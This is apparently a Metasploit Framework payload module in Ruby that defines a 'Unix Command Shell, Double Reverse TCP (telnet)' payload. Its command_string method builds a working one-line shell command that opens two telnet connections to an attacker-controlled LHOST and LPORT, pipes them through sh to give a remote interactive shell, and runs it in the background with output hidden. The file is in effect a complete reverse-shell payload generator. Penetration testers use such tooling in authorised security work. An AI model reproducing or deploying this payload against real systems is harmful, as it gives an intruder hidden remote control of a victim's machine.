61 lines
1.7 KiB
Ruby
61 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 130
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Double Reverse TCP (telnet)',
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'Description' => 'Creates an interactive shell through two inbound connections',
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'Author' => 'hdm',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::ReverseTcpDouble,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'telnet',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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register_advanced_options(
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[
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OptString.new('TelnetPath', [true, 'The path to the telnet executable', 'telnet']),
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OptString.new('ShellPath', [true, 'The path to the shell to execute', 'sh'])
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]
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)
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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vprint_good(command_string)
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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cmd =
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"#{datastore['ShellPath']} -c '(sleep #{3600+rand(1024)}|" +
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"#{datastore['TelnetPath']} #{datastore['LHOST']} #{datastore['LPORT']}|" +
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"while : ; do #{datastore['ShellPath']} && break; done 2>&1|" +
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"#{datastore['TelnetPath']} #{datastore['LHOST']} #{datastore['LPORT']}" +
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" >/dev/null 2>&1 &)'"
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return cmd
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end
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end
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